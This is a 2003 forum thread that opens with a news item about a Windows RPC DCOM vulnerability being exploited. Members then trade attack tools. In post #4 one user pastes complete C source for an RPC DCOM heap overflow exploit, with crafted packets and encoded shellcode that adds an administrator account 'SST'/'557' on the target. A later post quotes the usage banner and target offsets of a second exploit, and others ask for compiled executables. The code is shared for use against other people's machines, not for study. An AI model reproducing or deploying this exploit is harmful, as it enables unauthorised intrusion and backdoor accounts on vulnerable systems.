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Chinese Hackers Distributing New Software

#1 User is offline   Kenny 

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Posted 18 September 2003 - 03:42 AM

09-16-2003 6:54:23 PM CST -- from 620ktar.com

Security researchers on Tuesday detected hackers distributing software to break into computers using flaws announced last week in some versions of Microsoft Corp.'s Windows operating system. The threat from this new vulnerability _ which already has drawn stern warnings from the Homeland Security Department _ is remarkably similar to one that allowed the Blaster virus to infect hundreds of thousands of computers last month. The discovery gives fresh impetus for tens of millions of Windows users _ inside corporations and in their homes _ to immediately apply a free repairing patch from Microsoft. Homeland Security officials have warned that attacks could result in a "significant impact" on the operation of the Internet. Researchers from iDefense Inc. of Reston, Va., who found the new attack software being distributed from a Chinese Web site, said it was already being used to break into vulnerable computers and implant eavesdropping programs. They said they expect widespread attacks similar to the Blaster infection within days. Microsoft confirmed it was studying the new attack tool....continued

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#2 User is offline   flame 

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Posted 22 September 2003 - 11:56 AM

i would like to know what this tools does and why dont WE have it yet ? :P
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#3 Guest_T3cHn0b0y_*

  • Group: Guests

Posted 28 September 2003 - 01:59 PM

so where the (filtered) is it then? Im out to find it...if we dont get it soon then the virus' r gonna beat us to it. 14m3 (filtered)s.
0

#4 Guest_T3cHn0b0y_*

  • Group: Guests

Posted 28 September 2003 - 02:34 PM

Good news...it wasn't too easy to find (only been out for about 2/3weeks). Looks like it adds a user "SST" with the password "557". Now all we need is someone to compile it...any takers? Here it goes:




/*
RPCDCOM2.c ver1.1
copy by T3cHn0b0y @ k-otik.com 2003.9.28
Written by Flashsky - Sorry for all the mods. Lifes a fuckin' joke.
*/
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x46,0x00,0x43,0x00,0x24,0x00,0x46,0x00,
0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char sccnsp3sp4[]=
"\x6C\x00\x6F\x00\x63\x00\x61\x00\x6C\x00\x68\x00"
"\x6F\x00\x73\x00\x74\x00\x5C\x00\x43\x00\x24\x00\x5C\x00"

"\x58\x00\xeb\x3c\x46\x00\x46\x00\xeb\x7c\x46\x00\x46\x00\x38\x6e"
"\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
"\xeb\x1e\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xeb\x06\xf1\xe1\xf2\xe1\xea\xd2"

//SHELLCODE From SAM ,THANKs !
//Add user SST,password is 557,
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x4D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"

"\x70\xDA\x98\x99\x99\xCC\x12\x75\x18\x75\x19\x99\x99\x99\x12\x6D"
"\x71\x92\x98\x99\x99\x10\x9F\x66\xAF\xF1\x01\x67\x13\x97\x71\x3C"
"\x99\x99\x99\x10\xDF\x95\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x0F\x99"
"\x99\x99\x10\xDF\x89\xFD\x38\x81\x99\x99\x99\x12\xD9\xA9\x14\xD9"
"\x81\x22\x99\x99\x8E\x99\x10\x81\xAA\x59\xC9\xF3\xFD\xF1\xB9\xB6"
"\xF8\xFD\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED"
"\xB9\x12\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xB9\xAC\xAC\xAE"
"\xF1\xB9\xEA\xEA\xED\xF1\xEC\xEA\xFC\xEB\xF1\xF7\xFC\xED\xB9\x12"
"\x55\xC9\xC8\x66\xCF\x95\xAA\x59\xC9\xF1\xFD\xFD\x99\x99\xF1\xED"
"\xB9\xB6\xF8\xF1\xEA\xB9\xEA\xEA\xF1\xF8\xED\xF6\xEB\xF1\xF0\xEA"
"\xED\xEB\xF1\xFD\xF4\xF0\xF7\xF1\xEC\xE9\xB9\xF8\xF1\xF5\xFE\xEB"
"\xF6\xF1\xF5\xF6\xFA\xF8\xF1\xF7\xFC\xED\xB9\x12\x55\xC9\xC8\x66"
"\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81"
"\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A"
"\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3"
"\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78"
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99"
"\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99"
"\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\x21\x67\x66\x66"

"\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
"\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
"\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
"\x7f\x19\x95\xd5\x17\x53\xe6\x6a"
"\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
"\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90\x90" //
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x77\xe0\x43\x00\x00\x10\x5c\x00"
"\xeb\x1e\x01\x00"// FOR CN SP3/SP4+-MS03-26
"\x4C\x14\xec\x77"// TOP SEH FOR cn w2k+SP4,must modify to SEH of your target's os


//FILL BYTE,so sizeof(UNC)>0X400(0X80*8),why? You can read more form my artic
//"Utilization of released heap structure and exploit of universal Heap overflow in windows ".
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x90\x02\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\xC7\x5F\x9D\xBD\xDD\x14\xDD\xBD\xDD\xC9\x14\xDD\xBD\x9D\xC9\x14"
"\x1D\xBD\x1D\x99\x99\x99\xC9\x14\x1D\xBD\x0D\x99\x99\x99\xC9\xAA"
"\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\x2D\x99\x99\x99\xC9\x66\xCF"
"\x95\x14\xD5\xBD\xDD\x14\x8D\xBD\xAA\x59\xC9\xF1\xAC\x99\xAE\x99"
"\xF1\xB9\x99\xAC\x99\xF1\xEA\x99\xED\x99\xF1\xB9\x99\xEA\x99\xF1"
"\xFC\x99\xEB\x99\xF1\xEC\x99\xEA\x99\xF1\xED\x99\xB9\x99\xF1\xF7"
"\x99\xFC\x99\x12\x45\xC8\xCB\xC8\xCB\x14\x1D\xBD\x29\x99\x99\x99"
"\xC9\x14\x1D\xBD\x59\x99\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA"
"\x14\x1D\xBD\x79\x99\x99\x99\xC9\x66\xCF\x95\xC3\xC0\xAA\x59\xC9"
"\xF1\xFD\x99\xFD\x99\xF1\xB6\x99\xF8\x99\xF1\xED\x99\xB9\x99\xF1"
"\xEA\x99\xEA\x99\xF1\xEA\x99\xB9\x99\xF1\xF6\x99\xEB\x99\xF1\xF8"
"\x99\xED\x99\xF1\xED\x99\xEB\x99\xF1\xF0\x99\xEA\x99\xF1\xF0\x99"
"\xF7\x99\xF1\xFD\x99\xF4\x99\xF1\xB9\x99\xF8\x99\xF1\xEC\x99\xE9"
"\x99\xF1\xEB\x99\xF6\x99\xF1\xF5\x99\xFE\x99\xF1\xFA\x99\xF8\x99"
"\xF1\xF5\x99\xF6\x99\xF1\xED\x99\xB9\x99\xF1\xF7\x99\xFC\x99\x12"
"\x45\xC8\xCB\x14\x1D\xBD\x61\x99\x99\x99\xC9\x14\x1D\xBD\x91\x98"
"\x99\x99\xC9\xAA\x59\xC9\xC9\xC9\xC9\xCA\x14\x1D\xBD\xB1\x98\x99"
"\x99\xC9\x66\xCF\x95\xAA\x59\xC9\x66\xCF\x89\xCA\xCC\xCF\xCE\x12"
"\xF5\xBD\x81\x12\xDC\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12"
"\xC3\xB9\x9A\x44\x7A\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA"
"\x59\x35\xA3\x5D\xED\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD"
"\x8D\xEC\x78\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2"
"\x5B\x9D\x99\xCC\xCF\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31"
"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71\xEC\x64\x66\x66"

"\x04\x04\x00\x70\x00\x04\x40"
"\x00\x10\x5c\x00\x78\x01\x07\x00\x78\x01\x07\x00\xa0\x04\x00"

"\x21\x99\x99\x99\x12\x5C\xC7\xC4\x5B\x9D\x99\x71";


unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

void main(int argc,char ** argv)
{
WSADATA WSAData;
SOCKET sock;
int len,len1;
SOCKADDR_IN addr_in;
short port=135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];

printf("RPC DCOM overflow Vulnerability 2\n");
printf("Thank T3cHn0b0y for bringing this script here!\n");
printf("Thank Flashsky for making the (filtered) thing...\n");
printf("Connected own the FXP industry\n");
printf("Smoke drugs and listen to Hardstyle!\n");
if(argc!=2)
{
printf("%s targetIP \n",argv[0]);
printf("for bumming bill gates and his w2k servers sp3/sp4+ms03-26\n");
}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(port);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf("Socket fux0red.Error:%d\n",WSAGetLastError());
return;
}
len1=sizeof(request1);
len=sizeof(sccnsp3sp4);

if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf("Server fux0red!.Error:%d",WSAGetLastError());
return;
}
memcpy(buf2,request1,sizeof(request1));
*(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sccnsp3sp4)/2;
*(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sccnsp3sp4)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sccnsp3sp4,sizeof(sccnsp3sp4));
len1=len1+sizeof(sccnsp3sp4);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+len-0xc;

*(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+len-0xc;
*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+len-0xc;
*(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+len-0xc;
*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+len-0xc;
*(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+len-0xc;
*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+len-0xc;
*(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+len-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
{
printf("Sender fux0red.Error:%d\n",WSAGetLastError());
return;
}

len=recv(sock,buf1,1000,NULL);
if (send(sock,buf2,len1,0)==SOCKET_ERROR)
{
printf("The remote computer has exploded!.Error:%d\n",WSAGetLastError());
return;
}
// len=recv(sock,buf1,1024,NULL);
}

/*

*/
0

#5 User is offline   flame 

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  • Joined: 06-August 03

Post icon  Posted 01 October 2003 - 08:43 AM

MS03-039 RPC DCOM long filename heap buffer overflow exp v1
Base on flashsky's MS03-026 exp
Code by ey4s<eyas#xfocus.org>
2003-09-16
Welcome to http://www.xfocus.net
Thanks to flashsky & benjurry & Dave Aitel
If success, target will add a user "e" and password is "asd#321"

Usage: rpc2 <target> <type>
<0> 2kEnSp4+MS03-026
TopSeh=0x7c54144c in kernel32.dll v5.0.2195.6688
JmpAddr=0x77a1b496 in OLEAUT32.dll v2.40.4522.0
<1> 2kEnSp3+SomeHotFixs+MS03-026
TopSeh=0x77eda1f0 in kernel32.dll v5.0.2195.6079
JmpAddr=0x77a1afa9 in OLEAUT32.dll v2.40.4518.0

shell i post the exe ?
or thats the older one ?
0

#6 Guest_T3cHn0b0y_*

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Posted 04 October 2003 - 11:17 AM

Yes, post the executable please...I cannot read chinese.
0

#7 User is offline   Divx_dude 

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Posted 04 October 2003 - 11:33 AM

ok but some peeps told me that RPCDCOM version 2 is already NOT hackble? is it treu ?
0

#8 Guest_hermel_*

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Posted 12 October 2003 - 11:57 PM

It works not on all Win Version :(
0

#9 User is offline   dinox 

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  • Joined: 08-September 03

Posted 03 November 2003 - 07:04 PM

ic can someone send to me ? for at sst 557?
??
thx
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